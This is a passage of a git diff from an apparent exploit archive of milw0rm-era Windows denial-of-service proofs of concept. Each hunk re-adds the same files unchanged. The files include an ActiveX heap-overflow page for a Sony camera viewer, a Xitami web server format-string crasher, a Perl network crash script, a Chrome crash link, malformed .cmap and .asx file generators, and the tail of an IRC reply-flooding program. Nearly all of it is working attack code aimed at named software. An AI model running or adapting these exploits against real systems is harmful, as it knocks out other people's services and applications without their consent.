+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	snprintf(buffer, sizeof(buffer)-1, ":aaa 003 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	snprintf(buffer, sizeof(buffer)-1, ":aaa 004 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	snprintf(buffer, sizeof(buffer)-1, ":aaa 005 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	snprintf(buffer, sizeof(buffer)-1, ":"As" 727 DiGitalX\r\n\0");
+	if ((err = send(ns, buffer, strlen(buffer), 0)) != strlen(buffer)) {
+		//oops!! error
+		if (err == SOCKET_ERROR) printf("Error: Cannot send evil buffer (%d).\n", WSAGetLastError());
+		else printf("Error: Evil buffer not sent properly. (%d/%d Bytes) sent.\n", err, strlen(buffer));
+		return 1;
+	}
+	//wait sometime
+	Sleep(1200);
+	//cleanup
+	//close sockets
+	closesocket(ns);
+	closesocket(s);
+	//close winsock
+	WSACleanup();
+
+	return 0; /* end of work :D */
+}
+
+// milw0rm.com [2007-03-22]
diff --git a/platforms/windows/dos/4120.html b/platforms/windows/dos/4120.html
index 2fb7141ba..be1f9ae8f 100755
--- a/platforms/windows/dos/4120.html
+++ b/platforms/windows/dos/4120.html
@@ -1,24 +1,24 @@
-<!--
-Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC
-
-Camera info
-http://bssc.sel.sony.com/BroadcastandBusiness/DisplayModel?id=79540
-
-SNC-P5 External API documentation
-http://www.tracor-europe.info/racine/sony/PROG/P5/API/Documents/SNC-P5APIDocument1.0EN.pdf
-
-/str0ke ! milw0rm.com 
--->
-
-<script language = 'vbscript'>
-Sub tryMe()
-  buff = String(15000, "A")
-  viewer.PrmSetNetworkParam buff, 1
-End Sub
-</script>
-
-<OBJECT CLASSID="CLSID:5CB430A9-CAAC-4C91-AF61-6D410EEE1221" id="viewer"> </OBJECT>
-
-<input language=VBScript onclick=tryMe() type=button value="Click Me">
-
-# milw0rm.com [2007-06-27]
+<!--
+Sony Network Camera SNC-P5 v1.0 ActiveX viewer Heap Overflow PoC
+
+Camera info
+http://bssc.sel.sony.com/BroadcastandBusiness/DisplayModel?id=79540
+
+SNC-P5 External API documentation
+http://www.tracor-europe.info/racine/sony/PROG/P5/API/Documents/SNC-P5APIDocument1.0EN.pdf
+
+/str0ke ! milw0rm.com 
+-->
+
+<script language = 'vbscript'>
+Sub tryMe()
+  buff = String(15000, "A")
+  viewer.PrmSetNetworkParam buff, 1
+End Sub
+</script>
+
+<OBJECT CLASSID="CLSID:5CB430A9-CAAC-4C91-AF61-6D410EEE1221" id="viewer"> </OBJECT>
+
+<input language=VBScript onclick=tryMe() type=button value="Click Me">
+
+# milw0rm.com [2007-06-27]
diff --git a/platforms/windows/dos/5354.c b/platforms/windows/dos/5354.c
index 6254ccbe8..986d6a2ab 100755
--- a/platforms/windows/dos/5354.c
+++ b/platforms/windows/dos/5354.c
@@ -1,103 +1,103 @@
-/**
- *
- * PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug
- * Advisory is available at: http://www.bratax.be/advisories/b013.html
- * (multiple vulnerabilities! check it out!)
- *
- * @author: bratax
- * @url: http://www.bratax.be/
- * @email: bratax@gmail.com
- *
- * Thanks to BuzzDee for learning me how to use reverse code engineering to
- * find bugs & thanks to DiabloHorn as well ;-)
- * Greetz to NR!
- *
-**/
-
-#include <stdio.h>
-#include <string.h>
-#include <winsock2.h>
-
-#pragma comment(lib, "ws2_32.lib")
-#define PORT 81 // target port
-
-int main(int argc, char *argv[]){
-
-  int sockfd;
-  struct hostent *he;
-  struct sockaddr_in their_addr;
-  WSADATA wsaData;
-  char formatstring[250];
-
-  if (argc != 2){
-    printf("\nXitami Web Server 2.5c2\n" );
-    printf("Format String PoC by bratax - http://www.bratax.be/\n\n");
-    printf("[+] tested on WinXP Pro SP2 & Vista\n");
-    printf("[+] usage: %s <hostname>\n\n", argv[0]);
-    return -1;
-  }
-
-    if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
-    fprintf(stderr, "WSAStartup failed.\n");
-    return -1;
-  }
-
-  if ((he=gethostbyname(argv[1])) == NULL){  // get the host info
-    perror("gethoscattbyname");
-    return -1;
-  }
-
-  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
-    perror("socket");
-    return -1;
-  }
-
-  their_addr.sin_family = AF_INET;  // host byte order
-  their_addr.sin_port = htons(PORT);  // short, network byte order
-  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
-  memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
-
-  if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){
-    printf("[-] Connect failed.\n");
-    closesocket(sockfd);
-    return -1;
-  }
-
-  printf("[+] Server is listening...\n");
-
-  Sleep(1000);
-
-  /*
-    setup format string request:
-              %s*100 + \xFF + somestring + \xFF     (program termination)
-    or:
-              %n + \xFF + somestring + \xFF         (program crash)
-  */
-
-  memset(formatstring,'\x41', sizeof(formatstring));
-  for (int i = 0; i<200; i+=2){
-    memcpy(formatstring+i, "%s", 2);
-  }
-  memcpy(formatstring+200, "\xFF", 1);
-  memcpy(formatstring+249, "\xFF", 1);
-
-  printf("[+] Sending format string request...");
-  Sleep(2000);
-
-  if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) {
-    Sleep(2000);
-    printf("failed! Exiting...\n");
-    closesocket(sockfd);
-    WSACleanup();
-    return -1;
-  }
-
-  Sleep(2000);
-  closesocket(sockfd);
-  printf("done.\n");
-
-
-  return 0;
-}
-
-// milw0rm.com [2008-04-03]
+/**
+ *
+ * PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug
+ * Advisory is available at: http://www.bratax.be/advisories/b013.html
+ * (multiple vulnerabilities! check it out!)
+ *
+ * @author: bratax
+ * @url: http://www.bratax.be/
+ * @email: bratax@gmail.com
+ *
+ * Thanks to BuzzDee for learning me how to use reverse code engineering to
+ * find bugs & thanks to DiabloHorn as well ;-)
+ * Greetz to NR!
+ *
+**/
+
+#include <stdio.h>
+#include <string.h>
+#include <winsock2.h>
+
+#pragma comment(lib, "ws2_32.lib")
+#define PORT 81 // target port
+
+int main(int argc, char *argv[]){
+
+  int sockfd;
+  struct hostent *he;
+  struct sockaddr_in their_addr;
+  WSADATA wsaData;
+  char formatstring[250];
+
+  if (argc != 2){
+    printf("\nXitami Web Server 2.5c2\n" );
+    printf("Format String PoC by bratax - http://www.bratax.be/\n\n");
+    printf("[+] tested on WinXP Pro SP2 & Vista\n");
+    printf("[+] usage: %s <hostname>\n\n", argv[0]);
+    return -1;
+  }
+
+    if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
+    fprintf(stderr, "WSAStartup failed.\n");
+    return -1;
+  }
+
+  if ((he=gethostbyname(argv[1])) == NULL){  // get the host info
+    perror("gethoscattbyname");
+    return -1;
+  }
+
+  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
+    perror("socket");
+    return -1;
+  }
+
+  their_addr.sin_family = AF_INET;  // host byte order
+  their_addr.sin_port = htons(PORT);  // short, network byte order
+  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
+  memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
+
+  if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){
+    printf("[-] Connect failed.\n");
+    closesocket(sockfd);
+    return -1;
+  }
+
+  printf("[+] Server is listening...\n");
+
+  Sleep(1000);
+
+  /*
+    setup format string request:
+              %s*100 + \xFF + somestring + \xFF     (program termination)
+    or:
+              %n + \xFF + somestring + \xFF         (program crash)
+  */
+
+  memset(formatstring,'\x41', sizeof(formatstring));
+  for (int i = 0; i<200; i+=2){
+    memcpy(formatstring+i, "%s", 2);
+  }
+  memcpy(formatstring+200, "\xFF", 1);
+  memcpy(formatstring+249, "\xFF", 1);
+
+  printf("[+] Sending format string request...");
+  Sleep(2000);
+
+  if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) {
+    Sleep(2000);
+    printf("failed! Exiting...\n");
+    closesocket(sockfd);
+    WSACleanup();
+    return -1;
+  }
+
+  Sleep(2000);
+  closesocket(sockfd);
+  printf("done.\n");
+
+
+  return 0;
+}
+
+// milw0rm.com [2008-04-03]
diff --git a/platforms/windows/dos/5427.pl b/platforms/windows/dos/5427.pl
index cd32b628c..3f3afd363 100755
--- a/platforms/windows/dos/5427.pl
+++ b/platforms/windows/dos/5427.pl
@@ -1,30 +1,30 @@
-###############################################################################################################
-#                                 POC.pl                                                                   #
-###############################################################################################################
-#!/usr/bin/perl -w
-#Author:  Liu Zhen Hua <alau [at] 163.com>
-
-use IO::Socket;
-use strict;
-my $host=$ARGV[0];
-sub usage {
-print "usage: perl poc.pl serverip\n";
-}
-if ($#ARGV < 0) {
-usage();
-exit();
-}
-my $victim = IO::Socket::INET->new(Proto=>'tcp',
-                                PeerAddr=>$host,
-                                PeerPort=>3050);
-my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
-my $pad5 = "\x43"x16;
-my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
-print $victim $exploit ;
-print " + Malicious  request sent ...\n";
-sleep(1);
-print "Done.\n";
-close($victim);
-exit;
-
-# milw0rm.com [2008-04-11]
+###############################################################################################################
+#                                 POC.pl                                                                   #
+###############################################################################################################
+#!/usr/bin/perl -w
+#Author:  Liu Zhen Hua <alau [at] 163.com>
+
+use IO::Socket;
+use strict;
+my $host=$ARGV[0];
+sub usage {
+print "usage: perl poc.pl serverip\n";
+}
+if ($#ARGV < 0) {
+usage();
+exit();
+}
+my $victim = IO::Socket::INET->new(Proto=>'tcp',
+                                PeerAddr=>$host,
+                                PeerPort=>3050);
+my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
+my $pad5 = "\x43"x16;
+my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
+print $victim $exploit ;
+print " + Malicious  request sent ...\n";
+sleep(1);
+print "Done.\n";
+close($victim);
+exit;
+
+# milw0rm.com [2008-04-11]
diff --git a/platforms/windows/dos/628.c b/platforms/windows/dos/628.c
index 69925773c..acc4526f9 100755
--- a/platforms/windows/dos/628.c
+++ b/platforms/windows/dos/628.c
@@ -142,6 +142,6 @@ cout<<"        ====coded by class101===========[DFind.kd-team.com 2004]====="<<e
 cout<<"        ============================================================="<<endl;
 cout<<"                                                                   "<<endl;
 }
-
-
-// milw0rm.com [2004-11-13]
+
+
+// milw0rm.com [2004-11-13]
diff --git a/platforms/windows/dos/6353.txt b/platforms/windows/dos/6353.txt
index 2581ee368..1d0ff4089 100755
--- a/platforms/windows/dos/6353.txt
+++ b/platforms/windows/dos/6353.txt
@@ -1,31 +1,31 @@
----------------------------------------------------
-Software:
-Google Chrome Browser 0.2.149.27
-
-Tested:
-Windows XP Professional SP3
-
-Result:
-Google Chrome Crashes with All Tabs
-
-Problem:
-An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 
-0.2.149.27. A crash can result without user interaction. When a user is made to visit 
-a malicious link, which has an undefined handler followed by a 'special' character, 
-the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. 
-Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the 
-EIP register at 0x01002FF4.
-
-Proof of Concept:
-http://evilfingers.com/advisory/google_chrome_poc.php
-
-Credit:
-Rishi Narang (psy.echo)
-www.greyhat.in
-www.evilfingers.com
----------------------------------------------------
-
-PoC Working/Exploit:
-Click for a demo &lt;a href="EVIL:%"&gt;HERE&lt;/a&gt;
-
-# milw0rm.com [2008-09-03]
+---------------------------------------------------
+Software:
+Google Chrome Browser 0.2.149.27
+
+Tested:
+Windows XP Professional SP3
+
+Result:
+Google Chrome Crashes with All Tabs
+
+Problem:
+An issue exists in how chrome behaves with undefined-handlers in chrome.dll version 
+0.2.149.27. A crash can result without user interaction. When a user is made to visit 
+a malicious link, which has an undefined handler followed by a 'special' character, 
+the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed. 
+Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the 
+EIP register at 0x01002FF4.
+
+Proof of Concept:
+http://evilfingers.com/advisory/google_chrome_poc.php
+
+Credit:
+Rishi Narang (psy.echo)
+www.greyhat.in
+www.evilfingers.com
+---------------------------------------------------
+
+PoC Working/Exploit:
+Click for a demo &lt;a href="EVIL:%"&gt;HERE&lt;/a&gt;
+
+# milw0rm.com [2008-09-03]
diff --git a/platforms/windows/dos/7962.pl b/platforms/windows/dos/7962.pl
index 91a997f9c..d42a3c393 100755
--- a/platforms/windows/dos/7962.pl
+++ b/platforms/windows/dos/7962.pl
@@ -1,20 +1,20 @@
-#!/usr/bin/perl -w
-# Hex Workshop v6 "ColorMap files .cmap" Invalid Memory Reference Crash POC
-# Discovred by : DATA_SNIPER
-# for more information vist my blog:http://datasniper.arab4services.net/
-# the Exploit it's  very hard to implemented,if we can make the "reference" point to  valid memory location contain
-# unicode string we can corrupt the memory and get code execution(it's not so easy as you can see,try it manually in olly).
-print "==========================================================================\n";
-print "Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference crash POC\n";
-print "Discovred by DATA_SNIPER\n";
-print "Greetz to: arab4services team and AT4RE Team\n";
-print "===================================================================== \n";
-my $crash = '#Simple POC by DATA_SNIPER'."\n".'"%s"= RGB(0, 0, 0)'; #don't worry about it ,it's not Format string bug :)
-my $file = "cr4sh.cmap" ;
-open(my $data, ">>$file") or die "Cannot open $file";
-print $data $crash;
-close($data);
-print "$file has been created\n";
-print "open it in HexWorkshop.\n";
-
-# milw0rm.com [2009-02-03]
+#!/usr/bin/perl -w
+# Hex Workshop v6 "ColorMap files .cmap" Invalid Memory Reference Crash POC
+# Discovred by : DATA_SNIPER
+# for more information vist my blog:http://datasniper.arab4services.net/
+# the Exploit it's  very hard to implemented,if we can make the "reference" point to  valid memory location contain
+# unicode string we can corrupt the memory and get code execution(it's not so easy as you can see,try it manually in olly).
+print "==========================================================================\n";
+print "Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference crash POC\n";
+print "Discovred by DATA_SNIPER\n";
+print "Greetz to: arab4services team and AT4RE Team\n";
+print "===================================================================== \n";
+my $crash = '#Simple POC by DATA_SNIPER'."\n".'"%s"= RGB(0, 0, 0)'; #don't worry about it ,it's not Format string bug :)
+my $file = "cr4sh.cmap" ;
+open(my $data, ">>$file") or die "Cannot open $file";
+print $data $crash;
+close($data);
+print "$file has been created\n";
+print "open it in HexWorkshop.\n";
+
+# milw0rm.com [2009-02-03]
diff --git a/platforms/windows/dos/841.c b/platforms/windows/dos/841.c
index d5ef22ce7..608f0234e 100755
--- a/platforms/windows/dos/841.c
+++ b/platforms/windows/dos/841.c
@@ -1039,6 +1039,6 @@ u_long resolv(char *host) {
         perror("\nError");
         exit(1);
     }
-#endif
-
-// milw0rm.com [2005-02-24]
+#endif
+
+// milw0rm.com [2005-02-24]
diff --git a/platforms/windows/dos/8512.txt b/platforms/windows/dos/8512.txt
index e7a55e991..6eddbb4b7 100755
--- a/platforms/windows/dos/8512.txt
+++ b/platforms/windows/dos/8512.txt
@@ -1,14 +1,14 @@
-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-@@@@@     Counter strike source         @@@@@
-@@@@@     Mani Admin Plugin Exploit v2  @@@@@
-@@@@@   M4rt1n. www.hackerzbay.com      @@@@@
-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
-
-alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
-alias bspam "aspam;aspam;aspam;aspam;aspam"
-bind i "bspam; bspam; bspam"
-
-
-#www.hackerzbay.com
-
-# milw0rm.com [2009-04-22]
+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+@@@@@     Counter strike source         @@@@@
+@@@@@     Mani Admin Plugin Exploit v2  @@@@@
+@@@@@   M4rt1n. www.hackerzbay.com      @@@@@
+@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
+
+alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft"
+alias bspam "aspam;aspam;aspam;aspam;aspam"
+bind i "bspam; bspam; bspam"
+
+
+#www.hackerzbay.com
+
+# milw0rm.com [2009-04-22]
diff --git a/platforms/windows/dos/8531.pl b/platforms/windows/dos/8531.pl
index 1a131443f..626e3dcef 100755
--- a/platforms/windows/dos/8531.pl
+++ b/platforms/windows/dos/8531.pl
@@ -1,88 +1,88 @@
-#!/usr/bin/perl
-#
-#
-# Found By : Cyber-Zone (ABDELKHALEK) <== Proud To Be Figuigian ::Figuig City OwnZ !
-#
-# MoroCCo 2009
-#
-# GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS
-#
-#OllyDBG Registers
-#EAX 41414141
-#ECX 00AF74AC ASCII "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-#EDX 00502F58 SDP.00502F58
-#EBX 00000041
-#ESP 0012F798
-#EBP 0012FAA4
-#ESI 0000021D
-#EDI 0012FA7C
-#EIP 004208C2 SDP.004208C2
-#
-if(@ARGV < 2)
-{
-&help; exit();
-}
-sub help()
-{
-print "[X] Usage : perl $0 HackerName IP :d \n";
-print "[X] Exemple : perl $0 Cyber-Zone 127.0.0.1 \n";
-}
-($HackerName, $IP) = @ARGV;
-print("Please Wait ....................................\n");
-sleep(5);
-print("SDP Downloader v2.3.0 .ASX File Local Heap Overflow PoC\n\n");
-print("Ok $HackerName , Your Evil ASX file Has Been Created !!!\n");
-print("Your IP Is : $IP , Now Open The EviL File whith Our Targer Program And see if you Can Exploit'it\n");
-
-my $EviLFILE="boom.asx";
-
-my $Header1= "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33".
-            "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54".
-            "\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54".
-            "\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46".
-            "\x3D\x22";
-                        
-
-my $ProofOfConcept ="http://".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
-"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; #530
-
-my $Header2= "\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59".
-            "\x3E\x3C\x2F\x41\x53\x58\x3E";
-            
-            
-open(Boom, ">$EviLFILE") or die "ERROR ! :$EviLFILE\n";
-print Boom $Header1;
-print Boom $ProofOfConcept;
-print Boom $Header2;
-
-close(Boom);
-
-print ("Figuigian Hacker !!!\n");
-
-# milw0rm.com [2009-04-24]
+#!/usr/bin/perl
+#
+#
+# Found By : Cyber-Zone (ABDELKHALEK) <== Proud To Be Figuigian ::Figuig City OwnZ !
+#
+# MoroCCo 2009
+#
+# GreatZ To : Hussin X , Jiko , ZoRLu , Mag!c ompo , Stack , b0rizQ ... All MoroCCaN HaCkerS
+#
+#OllyDBG Registers
+#EAX 41414141
+#ECX 00AF74AC ASCII "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+#EDX 00502F58 SDP.00502F58
+#EBX 00000041
+#ESP 0012F798
+#EBP 0012FAA4
+#ESI 0000021D
+#EDI 0012FA7C
+#EIP 004208C2 SDP.004208C2
+#
+if(@ARGV < 2)
+{
+&help; exit();
+}
+sub help()
+{
+print "[X] Usage : perl $0 HackerName IP :d \n";
+print "[X] Exemple : perl $0 Cyber-Zone 127.0.0.1 \n";
+}
+($HackerName, $IP) = @ARGV;
+print("Please Wait ....................................\n");
+sleep(5);
+print("SDP Downloader v2.3.0 .ASX File Local Heap Overflow PoC\n\n");
+print("Ok $HackerName , Your Evil ASX file Has Been Created !!!\n");
+print("Your IP Is : $IP , Now Open The EviL File whith Our Targer Program And see if you Can Exploit'it\n");
+
+my $EviLFILE="boom.asx";
+
+my $Header1= "\x3C\x41\x53\x58\x20\x56\x45\x52\x53\x49\x4F\x4E\x3D\x22\x33".
+            "\x2E\x30\x22\x3E\x0A\x0A\x3C\x45\x4E\x54\x52\x59\x3E\x3C\x54".
+            "\x49\x54\x4C\x45\x3E\x65\x78\x70\x6C\x6F\x69\x74\x3C\x2F\x54".
+            "\x49\x54\x4C\x45\x3E\x0A\x3C\x52\x45\x46\x20\x48\x52\x45\x46".
+            "\x3D\x22";
+                        
+
+my $ProofOfConcept ="http://".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
+"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; #530
+
+my $Header2= "\x2E\x61\x73\x66\x22\x2F\x3E\x0A\x3C\x2F\x45\x4E\x54\x52\x59".
+            "\x3E\x3C\x2F\x41\x53\x58\x3E";
+            
+            
+open(Boom, ">$EviLFILE") or die "ERROR ! :$EviLFILE\n";
+print Boom $Header1;
+print Boom $ProofOfConcept;
+print Boom $Header2;
+
+close(Boom);
+
+print ("Figuigian Hacker !!!\n");
+
+# milw0rm.com [2009-04-24]
diff --git a/platforms/windows/dos/8644.pl b/platforms/windows/dos/8644.pl
index 0f5dea78f..ac6847e78 100755
